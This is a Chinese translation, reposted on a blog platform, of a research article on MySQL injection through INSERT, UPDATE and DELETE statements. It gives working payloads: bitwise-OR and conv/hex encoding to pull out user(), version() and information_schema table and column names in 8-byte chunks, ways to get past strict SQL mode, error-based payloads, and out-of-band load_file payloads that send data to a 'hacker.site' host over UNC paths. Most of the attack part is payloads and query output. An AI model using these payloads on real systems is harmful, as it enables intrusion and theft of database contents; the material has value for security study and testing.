入门客AI创业平台(我带你入门,你带我飞行)
博文笔记

MySQL Out-of-Band 注入攻击

创建时间:2017-03-15 投稿人: ikun坤 浏览次数:237

作者:Osanda

原文链接:http://t.cn/RJz9KA3

本文由 看雪翻译小组ghostway编译

综述

INSERT 和 UPDATE 传统的 in-band(带内)注入方式是修改查询语句。举个栗子,一条INSERT语句可以通过修改查询语句内容,注释掉不要用到的,提交,从返回的数据中提取有用的信息,UPDATE 语句的操作也是类似的,但是只适用于多列的情况。假如我们面临的 UPDATE 或 INSERT 只是单列的情况或者我们不知道准确的查询语句或者 mysql_error() 没有显示错误信息呢?

我们看如下的情况,如何注入?为了简单的目的,以下语句并没有太复杂

$query = "UPDATE users SET username = "$username" WHERE id = "$id";";

参数:

username=test&id=16

最近我一直在研究这种情况下 in-band 和 out-of-band 的利用方法。

为了理解我所描述的,我们先看 MySQL 如何处理字符串。简单地说,MySQL 中一个字符串等于 "0" 。如下:

mysql> select "osanda" = 0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| "osanda" = 0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select !"osanda";

+‐‐‐‐‐‐‐‐‐‐‐+

| !"osanda" |

+‐‐‐‐‐‐‐‐‐‐‐+

| 1 |

+‐‐‐‐‐‐‐‐‐‐‐+

假如我们给一个字符串+数字呢?应该是等于0+数字。

mysql> select "osanda"+123;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| "osanda"+123 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 123 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

这个动态特性,让我想到了很多。但是,我们先进一步研究下 data type。

假如我们给一个字符串加一个 MySQL 中支持的最大值,比如 BIGINT 类型的,会如何呢?

mysql> select "osanda"+~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| "osanda"+~0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1.8446744073709552e19 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

值是‘1.8446744073709552e19’ 意味着,最终字符串返回的是一个 8 字节的 DOUBLE 类型数据。继续验证:

mysql> select ~0+0e0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| ~0+0e0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1.8446744073709552e19 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select (~0+0e0) = ("osanda" + ~0) ;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| (~0+0e0) = ("osanda" + ~0) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐

经过验证,我们知道 string 返回的值就是一个 DOUBLE 数字。给一个 larger 值+一个 DOUBLE 数字,将返回一个 IEEE 标准 DOUBLE 精度数字。为了克服这个问题,我们只需要进行按位或操作。

mysql> select "osanda" | ~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| "osanda" | ~0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 18446744073709551615 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

完美,我们获得了最大的 64-bit 的 BITINT 值是 0xffffffffffffffff 。现在,我们可以确定,通过按位或操作,我们可以获得精确的数值,且该值一定小于 BIGINT,因为我们不可能超过 64-bit 大小。

String->数字转换

假如我们使用数字来传递数据,然后再回显的时候再将数字转换回来,会如何?从这个出发点,我想出了这个方案。首先,我们将 String 转换为 hex 值,下一步,将 hex 值转换为数字。

String ‐> Hexadecimal ‐> Decimal

mysql> select conv(hex(version()), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(version()), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 58472576987956 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

解密的时候,我们做逆操作。

Decimal ‐> Hexadecimal ‐> String

mysql> select unhex(conv(58472576987956, 10, 16));

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| unhex(conv(58472576987956, 10, 16)) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 5.5.34 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

但是,请注意,我上文提到过的一点。MySQL 中最大的数字的类型是 BITINT,我们不能超过这个范围。因此一个字符串

的最大长度是8个字节。如下:

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex("AAAAAAAA"), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 4702111234474983745 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

注意‘4702111234474983745’可以解密回‘4702111234474983745’,但是如果我们再加一个‘A’,我们将无法获得

正确的数字,将产生一个无符号的BIGINT值0xffffffffffffffff

mysql> select conv(hex("AAAAAAAAA"), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex("AAAAAAAAA"), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 18446744073709551615 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select conv(hex("AAAAAAAAA"), 16, 10) = ~0;

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex("AAAAAAAAA"), 16, 10) = ~0 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 1 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

由于这个限制,我们必须将一个字符串分割成8个字节的单独字符串。我们可以使用 substr() 函数。

select conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)), 16, 10);(n从1开始)

例如,对于user()返回的字符串,按8个字节为单位裁剪,依次处理,直至为空。

mysql> select conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 8245931987826405219 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

mysql> select conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10);

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| conv(hex(substr(user(),1 + (2‐1) * 8, 8 * 2)), 16, 10) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| 107118236496756 |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

最后,我们解码我们获得的结果:

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,

10,

16)));

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756, 10, 16))) |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

| root@localhost |

+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+

注入

1. 提取表名

以下语法用来从 information_schema 数据库中提取表名:

select conv(hex(substr((select table_name from information_schema.tables where

table_schema=schema() limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

2. 提取列名

以下语法用来从 information_schema 数据库中提取列名:

select conv(hex(substr((select column_name from information_schema.columns where

table_name=’Name of your table’ limit 0,1),1 + (n‐1) * 8, 8*n)), 16, 10);

3. update 语句

现在我们可以将之前学到的用起来。如下是一个使用这种方式的update语句的例子:

update emails set email_id="osanda"|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10)

where id="16";

对于之前提到的例子,我们可以这样注入:

name=test" | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16, 10) where id=16;%00&id=16

最终的语句将会变成这样:

update users set username = "test" | conv(hex(substr(user(),1 + (1‐1) * 8, 8 * 1)),16,

10) where id=16;%00" where id = "16";

这个是我开发的一个测试程序的截图:

MySQL Out-of-Band 注入攻击

请点击此处输入图片描述

4. Insert 语句

我们假设一个insert语句如下:

insert into users values (17,"james", "bond");

和update语句一样,你可以这样利用:

insert into users values (17,"james", "bond"|conv(hex(substr(user(),1 + (n‐1) * 8, 8

* n)),16, 10);

当然在这个例子中,你可以修改该语句,然后注入,但是就像之前提到的情况,如果该insert语句只有一列,那么这个方法将非常有用。

MySQL 5.7中的限制

你可能注意到了,该方法在MySQL5.7.5之后的版本中无效了。

mysql> update users set username = "osanda" | conv(hex(substr(user(),1 + (1‐

1) * 8, 8 * 1)),16, 10) where id=14;

ERROR 1292 (22007): Truncated incorrect INTEGER value: "osanda"

在MySQL5.7版本上研究发现,MySQL服务器默认运行在 Strict SQL 模式下。MySQL 5.7.5,默认的 sql_mode 包含标

志 STRICT_TRANS_TABLES 。

SELECT @@GLOBAL.sql_mode;

SELECT @@SESSION.sql_mode;

在MySQL5.7的 Strict SQL 模式下,你不能利用这个从整数到字符串转换的技巧,因为原始的列的数据类型是’varchar’。Strict 模式用以控制MySQL怎样处理比如INSERT或UPDATE语句中遇到无效的或者丢失的数据类型转换语句。如果数据类型错误,则抛出一个异常。

为了克服这个,你必须在注入的时候总是使用一个整数。如下,这个查询是OK的。

mysql> update users set username = "0" | conv(hex(substr(user(),1 + (1‐1) * 8, 8 *

1)),16, 10) where id=14;

Query OK, 1 row affected (0.08 sec)

Rows matched: 1 Changed: 1 Warnings: 0

除此之外,你可以在运行的时候关闭Strict模式。 SESSION 变量任意用户在他自身的会话中都都可以修改。

SET sql_mode = "";

SET SESSION sql_mode = "";

设置 GLOBAL 变量需要 SUPER 权限,同时影响所有当前连接的客户端的行为。

SET GLOBAL sql_mode = "";

要做一个持久的方案,你需要在MySQL Server启动的时候指定参数 sql_mode 为空。

mysqld.exe ‐‐sql‐mode=

你也可以给你的配置文件‘my.cnf’中添加如下选项:

sql‐mode=

为了观察到默认选项的加载顺序和配置文件的路径,可以如下操作:

mysqld.exe ‐‐help ‐‐verbose

你可以创建一个文件‘myfile.ini’,然后指定该文件是MySQL的默认配置文件:

mysqld.exe ‐‐defaults‐file=myfile.ini11

配置内容如下:

[mysqld]

sql‐mode=

如果一个开发人员使用了 IGNORE 关键字,则 Strict 模式 被忽略。我们可以在Strict模式下使用比如 INSERT IGNORE 或

者 UPDATE IGNORE 关键字。如下:

mysql> update ignore users set username = "osanda" | conv(hex(substr(user(),1 + (1‐1)

* 8, 8 * 1)),16, 10) where id=14;

Query OK, 1 row affected, 1 warning (0.30 sec)

Rows matched: 1 Changed: 1 Warnings: 1

解码

提供一些不同语言的解码的方法:

SQL

select unhex(conv(value, 10, 16));

Python

dec = lambda x:("%x"%x).decode("hex")

Ruby

dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }

Ruby中也可以这样用:

dec = lambda { |x| puts x.to_s(16).scan(/w+/).pack("H*") }

传统的常规方法

当存在多列情况的注入点时,你可以用如下常规注入方法:

1. Update语句

假设依然是之前的问题,但是这次我们有两列。我们需要知道另一个列名:

UPDATE newsletter SET username = "$user", email = "$email" WHERE id = "$id";

如果应用程序回显了‘$emial’变量给我们,我们可以这样注入:

username=test",email = (select version()) where id = "16"‐‐ ‐&email=test

2. Insert 语句

如果我们使用 query 来做例子,像前一个例子,我们可以通过修改查询语句来注入。但是,需要提前知道 value 的个数。

INSERT INTO `database`.`users` (`id`,`user`,`pass`) VALUES ("$id","$user", "$pass");

如果应用程序回显了‘$user’变量给我们,我们可以这样注入:

id=16",(SELECT @@version), "XXX");‐‐ ‐&user=test&pass=test

Error Based 的注入

我之前写过一篇关于Insert,Update和Delete语句注入的文章。你可以使用如Error Based 的注入例子。

Update语句

UPDATE users SET password = "osanda"*multipoint((select*from(select

name_const(version(),1))x))*"" WHERE id="16" ;

UPDATE users SET password = "osanda" WHERE id="16"*polygon((select*from(select

name_const(version(),1))x))*"" ;

Insert语句

INSERT INTO users VALUES (17,"james", "bond"*polygon((select*from(select

name_const(version(),1))x))*"");13 | P a g e

Delete语句

DELETE FROM users WHERE id="17"*polygon((select*from(select

name_const(version(),1))x))*"";

将 ‘*’ 替换为: ||, or, |, and, &&, &, >>, <<, ^, xor, =, mul, /, div, ‐, +, %,

mod.

Out-of-Band(OOB)注入

你可以查看我之前的研究,我详细描述过windows平台上,关于MySQL的OOB技术。同样的方法可以运用到’INSERT’,

‘UPDATE’和’DELETE’语句中。

Update语句

UPDATE users SET username =

"osanda"load_file(concat("\\",version(),".hacker.siste\a.txt")) WHERE id="15";

UPDATE users SET username = "osanda" WHERE

id="15"*load_file(concat("\\",version(),".hacker.site\a.txt"));

Insert语句

INSERT into users VALUES

(15,"james","bond"|load_file(concat("\\",version(),".hacker.site\a.txt")));

Delete语句

DELETE FROM users WHERE

id="15"*load_file(concat("\\",version(),".hacker.site\a.txt"));

可以使用 ||, or, |, and, &&, &, >>, <<, ^, xor, =, *,mul, /, div, ‐, +, %,

mod.

结论

在实际的场景中,一个漏洞通常并不是可以直接利用的。在SQL注入中取决于你利用这些技术来想出一个创建性的方案。

分析对应的情景,调整你的思路,找到正确的方法。

感谢

特别感谢 Mukarram Khalid (@themakmaniac)测试了我的研究。

引用

http://dev.mysql.com/doc/refman/5.7/en/

声明:转载请保留文章的完整性,注明作者、译者及原文链接。

声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。
  • 上一篇:没有了
  • 下一篇:没有了